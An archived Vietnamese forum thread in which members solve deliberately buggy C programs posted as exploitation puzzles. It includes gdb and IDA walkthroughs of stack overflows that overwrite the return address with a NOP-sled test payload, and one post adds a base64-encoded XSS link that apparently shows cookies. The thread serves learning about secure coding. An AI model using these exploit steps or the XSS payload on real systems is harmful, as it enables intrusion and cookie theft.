banner

[Rule] Rules  [Home] Main Forum  [Portal] Portal  
[Members] Member Listing  [Statistics] Statistics  [Search] Search  [Reading Room] Reading Room 
[Register] Register  
[Login] Loginhttp  | https  ]
 
Forum Index Thảo luận hệ điều hành Windows giúp mình tìm lỗi mấy chương trình C này với  XML
  [Programming]   giúp mình tìm lỗi mấy chương trình C này với 21/02/2009 16:50:15 (+0700) | #1 | 170355
choc_
Member

[Minus]    0    [Plus]
Joined: 27/01/2009 06:46:01
Messages: 122
Offline
[Profile] [PM]
Chào các bạn,

Vừa rồi mình có học một cái môn bàn về các vấn đề của ngôn ngữ C. Thầy mình có cho một số bài tập, mà mình thấy vừa hay vừa khó. Có vài bài mình giải được, nhưng cũng có vài bài mình không biết cách giải (nhưng thầy đã giải luôn rồi), và cũng có vài bài mình tự chế ra. Mình sẽ lần lượt gửi lên đây, nếu có nhiều bạn hứng thú với đề tài này. Tất cả các bài dưới đây, mục tiêu là chỉ ra lỗi, sau đó crash (hay tốt hơn là exploit luôn) chương trình nếu được. Mình thích mấy bài trả lời chỉ ra lỗi cặn kẽ hơn là những bài trả lời chỉ crash chương trình không thôi.

Bài 1:

Code:
int main(int argc, char **argv) {
   if (argc != 3) 
       return 1;
   unsigned short int x = strlen(argv[1]) + strlen(argv[2]);   
   char *buf = (char *)malloc(x);
   strcpy(buf, argv[1]);
   strcat(buf, argv[2]);
}
[Up] [Print Copy]
  [Question]   Re: giúp mình tìm lỗi mấy chương trình C này với 21/02/2009 16:56:11 (+0700) | #2 | 170356
choc_
Member

[Minus]    0    [Plus]
Joined: 27/01/2009 06:46:01
Messages: 122
Offline
[Profile] [PM]
Bài thứ 2:

Code:
#include <stdlib.h>
#include <stdio.h>

int main(int argc, char **argv)
{
    int x, y;
    if (argc != 3)
        return 0;
    x = atoi(argv[1]);
    y = atoi(argv[2]);
    return y?x/y:0;
}


Cập nhật: cái bài này mình viết sai một chỗ, thay vì dòng cuối phải là return y?x/y:0; thì mình lại viết nhầm thành return x?x/y:0;. Bây giờ đã sửa lại rồi đó.
[Up] [Print Copy]
  [Question]   Re: giúp mình tìm lỗi mấy chương trình C này với 21/02/2009 17:01:39 (+0700) | #3 | 170357
choc_
Member

[Minus]    0    [Plus]
Joined: 27/01/2009 06:46:01
Messages: 122
Offline
[Profile] [PM]
Bài 3:

Code:
#include <stdlib.h>
#include <stdio.h>

int main(int argc, char **argv) {
   if (argc != 2) 
       return 0;
   safe_strcpy(argv[1], strlen(argv[1])); 
}

void safe_strcpy(char* mybuffer, char mylen)
{
   char maxlen = 63;
   char buffer[64];

   if(mylen < maxlen)
   {
      //it's safe now
      strcpy(buffer, mybuffer);
   }
}
[Up] [Print Copy]
  [Question]   Re: giúp mình tìm lỗi mấy chương trình C này với 21/02/2009 17:09:42 (+0700) | #4 | 170358
choc_
Member

[Minus]    0    [Plus]
Joined: 27/01/2009 06:46:01
Messages: 122
Offline
[Profile] [PM]
Tạm thời 3 bài vậy nhen. Bạn nào giải được, nếu muốn cho người khác xem thì cứ gửi lên đây, không thích thì PM mình cũng được.

Hint chung cho ba bài này: *******. Mình sẽ tiết lộ cái hint gồm 7 chữ cái này nếu sau vài ngày mà không có bạn nào làm được hết.
[Up] [Print Copy]
  [Question]   Re: giúp mình tìm lỗi mấy chương trình C này với 22/02/2009 02:05:50 (+0700) | #5 | 170397
lamer
Elite Member

[Minus]    0    [Plus]
Joined: 26/02/2008 13:28:49
Messages: 215
Offline
[Profile] [PM]
Bài 1:

1. strlen trả về unsigned int (4 byte), trong khi x được khai báo là unsigned short int (2 byte). Tràn số nguyên.

2. strcpy sẽ đặt thêm ký tự kết thúc chuỗi vào chuối nên tổng độ lớn của bộ đệm phải là x+1. Ở đây là tràn 1 ký tự NUL.

Bài 2:

Không biết là lỗi hay là được thiết kế như vậy, nhưng giá trị thoát của một chương trình chỉ từ 0 tới 255. Cho nên giá trị thoát của chương trình này có thể sẽ không là giá trị mong muốn.

Bài 3:

strlen trả về unsigned int, trong khi hàm nhận vào char. Nếu argv[1] dài hơn 127 ký tự, thì so sánh mylen < maxlen thành công.
[Up] [Print Copy]
  [Question]   Re: giúp mình tìm lỗi mấy chương trình C này với 22/02/2009 03:02:29 (+0700) | #6 | 170401
choc_
Member

[Minus]    0    [Plus]
Joined: 27/01/2009 06:46:01
Messages: 122
Offline
[Profile] [PM]
Hahaha lúc gửi bài này, mình đã ngờ là sẽ có bạn lamer vào trả lời rồi :-p. Anyway, hai bài 1, 3 chính xác rồi. Chúc mừng bạn nha.

Quan sát của bạn lamer ở bài số 2 rất hay, nhưng mà vẫn còn có cách hay hơn, crash được cả chương trình.
[Up] [Print Copy]
  [Question]   Re: giúp mình tìm lỗi mấy chương trình C này với 22/02/2009 03:47:24 (+0700) | #7 | 170407
lamer
Elite Member

[Minus]    0    [Plus]
Joined: 26/02/2008 13:28:49
Messages: 215
Offline
[Profile] [PM]
Mình chờ người khác chỉ lỗi của bài 2 vậy.
[Up] [Print Copy]
  [Question]   Re: giúp mình tìm lỗi mấy chương trình C này với 25/02/2009 06:39:57 (+0700) | #8 | 170804
choc_
Member

[Minus]    0    [Plus]
Joined: 27/01/2009 06:46:01
Messages: 122
Offline
[Profile] [PM]
Có lẽ các bài này hơi khó, nên đến giờ, ngoài bạn lamer ra, vẫn chưa có bạn nào submit lời giải hết trơn. Àh mình muốn thêm một yêu cầu nữa: ngoài phân tích lỗi, đưa cách khai thác, thì phải viết luôn phần sửa lỗi nha.

Bài 4 này có vẻ dễ nè (bạn lamer thôi đừng làm bài này, mình sẽ có bài khác dành cho bạn :p):

Code:
#include <stdlib.h>
#include <stdio.h>

void func(char *p) {
   char buf[10+1];
   memset(buf, 0, sizeof(buf));
   
   // 10 chars only
   sprintf(buf, "%10s", p);
   printf("Hello, %s\n", buf);
}

int main(int argc, char **argv) {
   if (argc != 2)
       return 1;

   func(argv[1]);   
}


[Up] [Print Copy]
  [Question]   Re: giúp mình tìm lỗi mấy chương trình C này với 25/02/2009 07:17:10 (+0700) | #9 | 170816
twilight
Member

[Minus]    0    [Plus]
Joined: 02/01/2009 16:42:02
Messages: 7
Offline
[Profile] [PM]
Mạn phép trả lời bài 3, có gì sai các bác sửa dùm,
Phân tích lỗi:
Code:
int main(int argc, char **argv) {
    if (argc != 2) 
        return 0;
    safe_strcpy(argv[1], strlen(argv[1])); 
 }
 
 void safe_strcpy(char* mybuffer, char mylen)
 {
    char maxlen = 63;
    char buffer[64];
 
    if(mylen < maxlen)
    {
              strcpy(buffer, mybuffer);
     }
}

Như bác lamer đã nói, strlen(argv[1]) trả về kiểu unsign int (kiểu int, 4 byte, không dấu) nghĩa là giá trị của nó từ 0 -> 2^32 -1, giá trị của tham số mylen của safe_strcpy kiểu char (mặc định char là singed char) có dung lương 1 byte (có dấu) (bit vị trí cao nhất là bit dấu) nên giá trị dao động từ -128 --> 127 (-2^(n-1) --> 2^(n-1) -1)
khi ta nhập argv[1] của main có giá trị > 127, qua phép ép kiểu "char mylen" của hàm safe_strcppy, ta làm bit cao nhất của char mylen bật lên = 1 --> thành số âm
nên điều kiện
Code:
if(mylen < maxlen) luôn đúng

B. Khai thác.
Load lên = IDA, Nhìn stack frame của safe_string


ta thấy dòng
Code:
lea eax, [ebp - dest] //dest = -44h = 68

<-->
lea eax, [ebp - 68]
vậy cái buffer[64] nằm cách ebp 68 byte, ta chỉ cần 72 byte là overwrite saved main's EBP, 76 byte là overwrite saved main's EIP

Khai thác thử:
(Code:
gdb) run `python -c 'print "A" * 72 + "B" * 4 + "C" * 100'`
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /home/twilight/crackme.de/choc/bai3 `python -c 'print "A" * 72 + "B" * 4 + "C" * 100'`

Program received signal SIGSEGV, Segmentation fault.
0x42424242 in ?? ()
(gdb)(gdb) disassemble safe_strcpy 
Dump of assembler code for function safe_strcpy:
0x080484b0 <safe_strcpy+0>:     push   %ebp
0x080484b1 <safe_strcpy+1>:     mov    %esp,%ebp
0x080484b3 <safe_strcpy+3>:     sub    $0x58,%esp
0x080484b6 <safe_strcpy+6>:     mov    0xc(%ebp),%eax
0x080484b9 <safe_strcpy+9>:     mov    %al,0xffffffff(%ebp)
0x080484bc <safe_strcpy+12>:    movb   $0x3f,0xfffffffe(%ebp)
0x080484c0 <safe_strcpy+16>:    mov    0xffffffff(%ebp),%al
0x080484c3 <safe_strcpy+19>:    cmp    0xfffffffe(%ebp),%al
0x080484c6 <safe_strcpy+22>:    jge    0x80484db <safe_strcpy+43>
0x080484c8 <safe_strcpy+24>:    add    $0xfffffff8,%esp
0x080484cb <safe_strcpy+27>:    mov    0x8(%ebp),%eax
0x080484ce <safe_strcpy+30>:    push   %eax
0x080484cf <safe_strcpy+31>:    lea    0xffffffbc(%ebp),%eax
0x080484d2 <safe_strcpy+34>:    push   %eax
0x080484d3 <safe_strcpy+35>:    call   0x8048378 <strcpy@plt>
0x080484d8 <safe_strcpy+40>:    add    $0x10,%esp
0x080484db <safe_strcpy+43>:    mov    %ebp,%esp
0x080484dd <safe_strcpy+45>:    pop    %ebp
0x080484de <safe_strcpy+46>:    ret



(
gdb) break *safe_strcpy +46


(gdb) run `python -c 'print "A" * 72 + "B" * 4 + "C" * 100'`
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /home/twilight/crackme.de/choc/bai3 `python -c 'print "A" * 72 + "B" * 4 + "C" * 100'`

Breakpoint 1, 0x080484de in safe_strcpy ()
(gdb) x/100xb $esp
0xbffff64c: 0x42 0x42 0x42 0x42 0x43 0x43 0x43 0x43
0xbffff654: 0x43 0x43 0x43 0x43 0x43 0x43 0x43 0x43
0xbffff65c: 0x43 0x43 0x43 0x43 0x43 0x43 0x43 0x43
0xbffff664: 0x43 0x43 0x43 0x43 0x43 0x43 0x43 0x43
0xbffff66c: 0x43 0x43 0x43 0x43 0x43 0x43 0x43 0x43
0xbffff674: 0x43 0x43 0x43 0x43 0x43 0x43 0x43 0x43
0xbffff67c: 0x43 0x43 0x43 0x43 0x43 0x43 0x43 0x43
0xbffff684: 0x43 0x43 0x43 0x43 0x43 0x43 0x43 0x43
0xbffff68c: 0x43 0x43 0x43 0x43 0x43 0x43 0x43 0x43
0xbffff694: 0x43 0x43 0x43 0x43 0x43 0x43 0x43 0x43
0xbffff69c: 0x43 0x43 0x43 0x43 0x43 0x43 0x43 0x43
0xbffff6a4: 0x43 0x43 0x43 0x43 0x43 0x43 0x43 0x43
0xbffff6ac: 0x43 0x43 0x43 0x43 


chạy thử với shell code đơn giản: (tạo ngắt hệ thống):
(gdb) run `python -c 'print "A" * 72 + "\x4c\xf6\xff\xbf" + "\x90"* 100 + "\xcc"'`
The program being debugged has been started already.
Start it from the beginning? (y or n) y

Starting program: /home/twilight/crackme.de/choc/bai3 `python -c 'print "A" * 72 + "\x4c\xf6\xff\xbf" + "\x90"* 100 + "\xcc"'`

Breakpoint 1, 0x080484de in safe_strcpy ()
(gdb) continue
Continuing.

Program received signal SIGTRAP, Trace/breakpoint trap


C. Sửa lỗi:
1. cho cái
char mylen
thành
unsigned int mylen
2. dùng strncpy thay cho strcpy
EOF



[Up] [Print Copy]
  [Question]   Re: giúp mình tìm lỗi mấy chương trình C này với 25/02/2009 13:42:38 (+0700) | #10 | 170857
choc_
Member

[Minus]    0    [Plus]
Joined: 27/01/2009 06:46:01
Messages: 122
Offline
[Profile] [PM]
Bài số 5:

Code:
#include <stdlib.h>
#include <stdio.h>

int main(int argc, char **argv) {
   if (argc != 2) 
       return 0;
   int MAXC = 100;
   char *buffer;
   int len = atoi(argv[1]);
   if (!(buffer = (char *) malloc(MAXC))) 
       return -1;
   if (len < 0 || len + 1 >= MAXC) {
       free(buffer);
       return -1;    
   }   
   if (read(0, buffer, len) <= 0) {
       free(buffer);
       return -1;
   }
   buffer[len] = '\0';
   printf("you entered: %s\n", buffer);
   return 0;
}
[Up] [Print Copy]
  [Question]   Re: giúp mình tìm lỗi mấy chương trình C này với 25/02/2009 14:48:44 (+0700) | #11 | 170863
lamer
Elite Member

[Minus]    0    [Plus]
Joined: 26/02/2008 13:28:49
Messages: 215
Offline
[Profile] [PM]
còn bài 2 lỗi chỗ nào vậy?
[Up] [Print Copy]
  [Question]   Re: giúp mình tìm lỗi mấy chương trình C này với 25/02/2009 15:39:04 (+0700) | #12 | 170866
choc_
Member

[Minus]    0    [Plus]
Joined: 27/01/2009 06:46:01
Messages: 122
Offline
[Profile] [PM]
@twilight: cảm ơn bạn đã tham gia và trả lời rất rõ ràng. Tuy vậy mình thấy có vài chỗ chưa chính xác lắm trong bài của bạn:

1. signed char nằm trong range [-128, 127]. Nói chung, các signed type đều có giá trị từ [-2^(N-1), 2^(N-1) -1], trong đó N là width của kiểu đó. Làm sao biết chắc là signed char biểu diễn được số -128?

Số nhỏ nhất mà kiểu char biểu diễn được là số khi biểu diễn binary có dạng: 1000 0000. Muốn biết số này là số nào, chỉ cần lấy bù 2 của nó:

* đảo bit: 0111 1111 = 127

* cộng 1: 127 + 1 = 128

nên số nhỏ nhất mà nó biểu diễn được chính là -128.

2. Không phải lúc nào ép kiểu từ unsigned int > 127 xuống signed char cũng cho ra giá trị âm hay làm cho phép so sánh mylen < maxlen luôn đúng. Cái này bạn lamer cũng nhầm (hay chỉ là trả lời chưa hết ý). Ví dụ như mình chạy cái bài 3 với input là 320 ký tự thì nó vẫn chạy được, kô bị segfault.


$ ./puzzle3 `perl -e 'print "A" x 320'`
 


Lý do chính là khi thực hiện ép kiểu như thế, compiler sẽ thực hiện truncation, bỏ mấy cái bit không xài của unsigned int, chỉ lấy 8 bit cuối mà thôi. Nên nếu bit thứ 8 (tính từ LSB) của số unsigned int mà là số 0, thì kết quả vẫn là một số dương. Ví dụ như số 320 ở trên, có dạng hexa là 0x0140, nghĩa là byte cuối của nó có giá trị là 0x40 = 64 > 63, nên chương trình thoát ra bình thường, không gọi hàm strcpy.

Dựa vào ý này, giờ mình sửa bài 3 thành thế này, bạn thử exploit nó xem:

Code:
int main(int argc, char **argv) {
    if (argc != 2) 
        return 0;
    safe_strcpy(argv[1], strlen(argv[1])); 
 }
 
 void safe_strcpy(char* mybuffer, char mylen)
 {
    char maxlen = 63;
    char buffer[64];
 
    if(0 < mylen < maxlen)
    {
              strcpy(buffer, mybuffer);
     }
}


3. Mình nghĩ sử dụng strncpy không phải là giải pháp hay. Bạn thử đọc man page của strncpy xem thì sẽ hiểu ý mình. Vả lại mình thấy chính vì mấy thứ như strncpy này mà cái dạng lỗi ở những bài này mới trở nên phổ biến. Lập trình sư cứ tưởng sử dụng strncpy là an toàn, nhưng do tính toán giá trị tham số n sai, dẫn đến thảm họa. Nên mình nghĩ tốt nhất là hiểu vấn đề, sử dụng cho đúng cách, dẫu là công cụ dở, hơn là chọn công cụ tốt, mà do không hiểu vấn đề, nên cũng làm sai luôn.

Tiếp tục làm đi twilight :-p, mình sẽ gửi tiếp vài bài nữa.
[Up] [Print Copy]
  [Question]   Re: giúp mình tìm lỗi mấy chương trình C này với 25/02/2009 17:03:59 (+0700) | #13 | 170868
choc_
Member

[Minus]    0    [Plus]
Joined: 27/01/2009 06:46:01
Messages: 122
Offline
[Profile] [PM]
@lamer: kiên nhẫn tí đi, giờ đưa kết quả, nhỡ đâu có bạn đang làm chưa ra thì uổng công cho bạn đó lắm.

Mới chế ra một bài tặng bạn lamer nè:

Bài 6 (chỉ cần chỉ ra lỗi):

Code:
#include <stdlib.h>
#include <stdio.h>

int main(int argc, char **argv) {
   int TOTAL = 10;  
   int input[TOTAL];
   int ind, value;
   char buffer1[12], buffer2[12];      
   //init
   int i;
   for(i=0; i<TOTAL; i++) {
       input[i] = 0;
   }
   //get input from user
   while (1) {
       read(0, buffer1, sizeof(buffer1)); 
       ind = atoi(buffer1);
       if (-1 == ind) break;
       read(0, buffer2, sizeof(buffer2));
       value = atoi(buffer2);
       if (ind < 0) {
          //get its absolute value, help prevent writing to memory locations outside the array boundary
          ind = -ind;
       }
       input[ind % TOTAL] = value;
   }
   //do something interesting here with the input, like find its maximum
   for(i=0; i<TOTAL; i++) {
       printf("%d: %d\n", i, input[i]);
   }
   return 0;
}
[Up] [Print Copy]
  [Question]   Re: giúp mình tìm lỗi mấy chương trình C này với 25/02/2009 23:18:04 (+0700) | #14 | 170892
lamer
Elite Member

[Minus]    0    [Plus]
Joined: 26/02/2008 13:28:49
Messages: 215
Offline
[Profile] [PM]
-0x80000000 = -0x80000000
[Up] [Print Copy]
  [Question]   Re: giúp mình tìm lỗi mấy chương trình C này với 26/02/2009 00:05:51 (+0700) | #15 | 170913
twilight
Member

[Minus]    0    [Plus]
Joined: 02/01/2009 16:42:02
Messages: 7
Offline
[Profile] [PM]
@choc: thanks bác đã chỉ ra chỗ sai cơ bản của mình smilie

tiếp
int main(int argc, char **argv) {
if (argc != 2)
return 0;
safe_strcpy(argv[1], strlen(argv[1]));
}

void safe_strcpy(char* mybuffer, char mylen)
{
char maxlen = 63;
char buffer[64];

if(0 < mylen < maxlen)
{
strcpy(buffer, mybuffer);
}

mình dùng gcc 3.3.6 thì khi compile chạy tốt nhưng ko đúng theo điều kiện if, mình phải sửa lại
thay
Code:
if(0 < mylen < maxlen)

thành
Code:
if((0 < mylen) &&(mylen < maxlen))

cho đúng ý bạn smilie

như vầy vẫn exploit được, vì chỉ cần input khi biểu diễn dạng nhị phân sao cho 8 byte cuối là số dương < 63, còn byte thứ 9 trở đi thì bị truncate cũng đc, nhưng khi strcpy thỏa, nó bị buffer overflow:
Ví dụ khi mình nhập input là 257
biểu dẫn ở dạng binary của unsigned int
-->
0000 0001 0000 0001

--> khi ép kiểu qua char --> 8 byte bị truncate sẽ là 0000 0001 = 1 thập phân

--> điều kiện để strcpy thỏa 0< 1 <63 và vẫn bị segmentation fault
twilight@h4x0r:~/crackme.de/choc$ ./bai3 `python -c 'print "A" * 257'`
v (core dumped) 


twilight@h4x0r:~/crackme.de/choc$ ./bai3 `python -c 'print "A" * 319'`
twilight@h4x0r:~/crackme.de/choc$ 

len(input) = 319 chạy bình thường do 319 = 256 + 63 bắt đầu vi phạm điều kiện <63

Cứ như thế, nó sẽ có từng khoảng từng khoảng rờ rạc nhau có thể làm cho chương trình bị Segmentation fault, nếu bác nào có shellcode quá lớn cho mục đích nào đó, cứ dùng các bit cao từ 9 trở đi smilie
[Up] [Print Copy]
  [Question]   Re: giúp mình tìm lỗi mấy chương trình C này với 26/02/2009 00:41:10 (+0700) | #16 | 170931
choc_
Member

[Minus]    0    [Plus]
Joined: 27/01/2009 06:46:01
Messages: 122
Offline
[Profile] [PM]
@twilight: bravo. Tiếp đi bạn. Mấy bài này hay ở chỗ là nhiều khi chỉ giao binary không giao source code thì vẫn có thể exploit được. Nhưng đưa source code (tưởng là dễ hơn) lại không nhìn thấy lỗi.

@lamer: mình hâm mộ bạn quá đi. Hay là hai đứa mình học chung lớp nhỉ? Nhưng mà mình không thích cách giải của bạn, cụt lủng, ngắn ngủn, không có giải thích chi hết. Àh hay là bạn định để dành để mở thêm một lớp "Advanced Software Exploitation"? :-D.

BTW, hint cho bài 2: ép kiểu của return, làm sao để return một số, mà số đó, khi bị ép sang int thì bị lỗi.

[Up] [Print Copy]
  [Question]   Re: giúp mình tìm lỗi mấy chương trình C này với 26/02/2009 00:44:34 (+0700) | #17 | 170932
twilight
Member

[Minus]    0    [Plus]
Joined: 02/01/2009 16:42:02
Messages: 7
Offline
[Profile] [PM]
đây là file binary của bai3, khi compiler bằng gcc3.3.6 với source-code của choc_
Code:
int main(int argc, char **argv) {
if (argc != 2)
return 0;
safe_strcpy(argv[1], strlen(argv[1]));
}

void safe_strcpy(char* mybuffer, char mylen)
{
char maxlen = 63;
char buffer[64];

if(0 < mylen < maxlen)
{
strcpy(buffer, mybuffer);
}
}

-->
http://www.mediafire.com/?9dmhy9ymwwm
test XSS
data:text/html;base64,PGEgaHJlZj0iZGF0YTp0ZXh0L2h0bWw7YmFzZTY0LFBITmpjbWx3ZEQ1aGJHVnlkQ2hrYjJOMWJXVnVkQzVqYjI5cmFXVXBQQzl6WTNKcGNIUSsiPjxmb250IGNvbG9yPSJ5ZWxsb3ciPlNob3cgQ29va2llczwvZm9udD48L2E+
[Up] [Print Copy]
  [Question]   Re: giúp mình tìm lỗi mấy chương trình C này với 26/02/2009 02:15:29 (+0700) | #18 | 170958
TQN
Elite Member

[Minus]    0    [Plus]
Joined: 29/06/2006 22:28:01
Messages: 888
Location: Biết làm chi ?
Offline
[Profile] [PM] [WWW] [Yahoo!]
Tui đọc tới đọc lui, đọc xuôi đọc ngược mà chả thấy bài 2 có bug gì cả. Đại ca _choc chỉ giùm em đi. Làm sao mà nó crash được, hay vậy ?
[Up] [Print Copy]
  [Question]   Re: giúp mình tìm lỗi mấy chương trình C này với 26/02/2009 06:59:42 (+0700) | #19 | 171020
twilight
Member

[Minus]    0    [Plus]
Joined: 02/01/2009 16:42:02
Messages: 7
Offline
[Profile] [PM]

choc_ wrote:
Có lẽ các bài này hơi khó, nên đến giờ, ngoài bạn lamer ra, vẫn chưa có bạn nào submit lời giải hết trơn. Àh mình muốn thêm một yêu cầu nữa: ngoài phân tích lỗi, đưa cách khai thác, thì phải viết luôn phần sửa lỗi nha.

Bài 4 này có vẻ dễ nè (bạn lamer thôi đừng làm bài này, mình sẽ có bài khác dành cho bạn :p):

Code:
#include <stdlib.h>
#include <stdio.h>

void func(char *p) {
   char buf[10+1];
   memset(buf, 0, sizeof(buf));
   
   // 10 chars only
   sprintf(buf, "%10s", p);
   printf("Hello, %s\n", buf);
}

int main(int argc, char **argv) {
   if (argc != 2)
       return 1;

   func(argv[1]);   
}


 

Lời giải bài 4:
Lỗi nằm ở chỗ hàm sprintf(buf, "%10s", p); ghi đè của gia trị p trỏ đến vào buf mà ko kiểm tra bound của source, dest.
Cái option "%10s", là giá trị trả về mặc định kiểu int của của sprintf = 10 nếu số byte của dest do p trỏ đến <10.
Khai thác trường hợp này đơn giản như khai thác strcpy.
Load hàm func lên IDA:
s= byte ptr -0Ch
arg_0= dword ptr 8

push ebp ; Alternative name is 'gcc2_compiled.'
mov ebp, esp
sub esp, 18h
add esp, 0FFFFFFFCh
push 0Bh ; n
push 0 ; c
lea eax, [ebp+s]
push eax ; s
call _memset
add esp, 10h
add esp, 0FFFFFFFCh
mov eax, [ebp+arg_0]
push eax
push offset format ; "%10s"
lea eax, [ebp+s]
push eax ; s
call _sprintf

add esp, 10h
add esp, 0FFFFFFF8h
lea eax, [ebp+s]
push eax
push offset aHelloS ; "Hello, %s\n"
call _printf
add esp, 10h
mov esp, ebp
pop ebp
retn
func endp 

quan sát ta thấy
lea eax, [ebp +s]
nhìn lên khúc đầu thấy biến s = -0C
-->
lea eax, [ebp -12]
Nghĩa là cái buffer cách saved EBP của main 12 byte, --> cần 8 byte nữa để overwrite saved EIP của main
-->
(gdb) run `python -c 'print "A" * 16 + "B" * 4'`
Starting program: /home/twilight/crackme.de/choc/bai4 `python -c 'print "A" * 16 + "B" * 4'`

Breakpoint 1, 0x080484c9 in func ()
(gdb) continue
Continuing.
Hello, AAAAAAAAAAAAAAAABBBB

Program received signal SIGSEGV, Segmentation fault.
0x42424242 in ?? ()
(gdb) x/20xb $esp

0xbffff6c0: 0xf5 0x85 0x04 0x08 0xdc 0xf6 0xff 0xbf
0xbffff6c8: 0x0a 0xf9 0xff 0xbf 0xaa 0x9d 0xea 0xb7
0xbffff6d0: 0xa4 0xd1 0xfd 0xb7 0x35 0xa6 0xea 0xb7
0xbffff6d8: 0xe8 0xf6 0xff 0xbf 0x41 0x41 0x41 0x41
0xbffff6e0: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
(gdb) run `python -c 'print "\x90" * 15 + "\xcc" + "\xdc\xf6\xff\xbf"'`
Starting program: /home/twilight/crackme.de/choc/bai4 `python -c 'print "\x90" * 15 + "\xcc" + "\xdc\xf6\xff\xbf"'`

Breakpoint 1, 0x080484dd in func ()
(gdb) continue
Continuing.
Hello, �����������������

Program received signal SIGTRAP, Trace/breakpoint trap
.
0xbffff6ec in ?? ()
(gdb)


 
[Up] [Print Copy]
  [Question]   Re: giúp mình tìm lỗi mấy chương trình C này với 26/02/2009 07:23:39 (+0700) | #20 | 171029
twilight
Member

[Minus]    0    [Plus]
Joined: 02/01/2009 16:42:02
Messages: 7
Offline
[Profile] [PM]

TQN wrote:
Tui đọc tới đọc lui, đọc xuôi đọc ngược mà chả thấy bài 2 có bug gì cả. Đại ca _choc chỉ giùm em đi. Làm sao mà nó crash được, hay vậy ? 

Lỗi thì thấy rõ mà anh, nhưng yêu cầu của choc_ là crash
để kiểm chứng lỗi tràn số nguyên khi return, có thể làm như sau
#include <stdlib.h>
#include <stdio.h>

int main(int argc, char **argv)
{
int x, y, z;
if (argc != 3)
return 0;
x = atoi(argv[1]);
y = atoi(argv[2]);
z = y?x/y:0;
printf("z=%d",z);
return z;

Trong đó dòng tô đậm là em thêm vào:
kiểu singed int có bound từ -2147483648 --> 2147483647

kiểm chứng lỗi
twilight@h4x0r:~/crackme.de/choc$ ./bai2 2147483647 1
z=2147483647
twilight@h4x0r:~/crackme.de/choc$ ./bai2 2147483648 1
z=2147483647 
[Up] [Print Copy]
  [Question]   Re: giúp mình tìm lỗi mấy chương trình C này với 26/02/2009 07:34:01 (+0700) | #21 | 171033
nbthanh
HVA Friend

Joined: 21/12/2001 14:51:51
Messages: 429
Offline
[Profile] [PM]

twilight wrote:
kiểm chứng lỗi
twilight@h4x0r:~/crackme.de/choc$ ./bai2 2147483647 1
z=2147483647
twilight@h4x0r:~/crackme.de/choc$ ./bai2 2147483648 1
z=2147483647 
 

Cái này đâu phải lỗi. Spec của hàm atoi có ghi rõ mà: nếu số được parse ngằm ngoài vùng cho phép thì nó sẽ trả về MIN_INT hoặc MAX_INT.
Ở đây 2147483648 nằm ngoài vùng của signed int nên bản thân atoi nó đã trả về là 2147483647 rồi chứ không phải là "lỗi" tràn số. Do vậy z = 2147483647 là đúng (vì atoi trả về 2147483647 cho x).
[Up] [Print Copy]
  [Question]   Re: giúp mình tìm lỗi mấy chương trình C này với 26/02/2009 08:18:52 (+0700) | #22 | 171037
choc_
Member

[Minus]    0    [Plus]
Joined: 27/01/2009 06:46:01
Messages: 122
Offline
[Profile] [PM]
@twilight: bài số 4 chỉ là lừa bịp thôi :-p. Bài đó để minh chứng cho cái ý "thấy vậy mà không phải vậy" khi nhìn vào source code.

Về bài số 2, thì như bạn nbthanh nói, vấn đề mà bạn đưa ra không phải là lỗi của chương trình. Nhưng mà cái ý của bạn thì cũng gần đúng rồi đó.
[Up] [Print Copy]
  [Question]   Re: giúp mình tìm lỗi mấy chương trình C này với 26/02/2009 13:59:10 (+0700) | #23 | 171073
0SAT0
Member

[Minus]    0    [Plus]
Joined: 18/06/2008 19:17:58
Messages: 18
Offline
[Profile] [PM]
Bài 2 :
Divide INT_MIN by -1 cause DDOS .
$ ./a.out -2147483648 -1 
[Up] [Print Copy]
  [Question]   Re: giúp mình tìm lỗi mấy chương trình C này với 26/02/2009 14:07:24 (+0700) | #24 | 171075
nbthanh
HVA Friend

Joined: 21/12/2001 14:51:51
Messages: 429
Offline
[Profile] [PM]

0SAT0 wrote:
Bài 2 :
Divide INT_MIN by -1 cause DDOS .
$ ./a.out -2147483648 -1 
 

Aha, sao lại quên nghĩ đến điểm này smilie
Signed number, ví dụ với int thì là -2147483648 đến +2147483647
Do vậy khi đảo dấu của -2147483648 thì sẽ thành +2147483648 --> out of range.

Tuy nhiên lỗi này gây ra do phép chia chứ chưa đến "công đoạn" return như choc_ gợi ý?
[Up] [Print Copy]
  [Question]   Re: giúp mình tìm lỗi mấy chương trình C này với 26/02/2009 19:50:18 (+0700) | #25 | 171085
StarGhost
Elite Member

[Minus]    0    [Plus]
Joined: 29/03/2005 20:34:22
Messages: 662
Location: The Queen
Offline
[Profile] [PM]

nbthanh wrote:

0SAT0 wrote:
Bài 2 :
Divide INT_MIN by -1 cause DDOS .
$ ./a.out -2147483648 -1 
 

Aha, sao lại quên nghĩ đến điểm này smilie
Signed number, ví dụ với int thì là -2147483648 đến +2147483647
Do vậy khi đảo dấu của -2147483648 thì sẽ thành +2147483648 --> out of range.

Tuy nhiên lỗi này gây ra do phép chia chứ chưa đến "công đoạn" return như choc_ gợi ý? 

Nhưng mà nó cứ crash là được rồi còn gì.
Mind your thought.
[Up] [Print Copy]
  [Question]   Re: giúp mình tìm lỗi mấy chương trình C này với 26/02/2009 22:08:11 (+0700) | #26 | 171088
choc_
Member

[Minus]    0    [Plus]
Joined: 27/01/2009 06:46:01
Messages: 122
Offline
[Profile] [PM]
@0SATO: đáp án thì đúng nhưng lời giải thì không chấp nhận được :-p. Mình ngờ là bạn tìm thấy đáp án này trên Internet.

@nbthanh: gợi ý là suy nghĩ ban đầu của mình về nguyên nhân gây ra lỗi (mình phát hiện ra lỗi này bằng cách fuzzing với mấy con số may mắn của mình như INT_MIN, UINT_MAX, INT_MAX, -1, 0x80000000...). Ban đầu mình nghĩ là a/b sẽ trả về một giá trị kiểu float, rồi giá trị này sẽ bị ép thành int nên gây ra lỗi.

Sau khi gửi gợi ý lên, mình mới phát hiện ra là suy nghĩ của mình sai rồi. Khi mà cả hai operand đều là integer thì C sẽ thực hiện phép chia integer, kết quả trả về phải là một số int. Mà lúc đó forum lại không cho sửa bài, nên mình không sửa lại được.

Tiếp tục đi các bạn. Hôm nay mình sẽ gửi tiếp một số bài.
[Up] [Print Copy]
  [Question]   Re: giúp mình tìm lỗi mấy chương trình C này với 26/02/2009 22:13:57 (+0700) | #27 | 171090
0SAT0
Member

[Minus]    0    [Plus]
Joined: 18/06/2008 19:17:58
Messages: 18
Offline
[Profile] [PM]
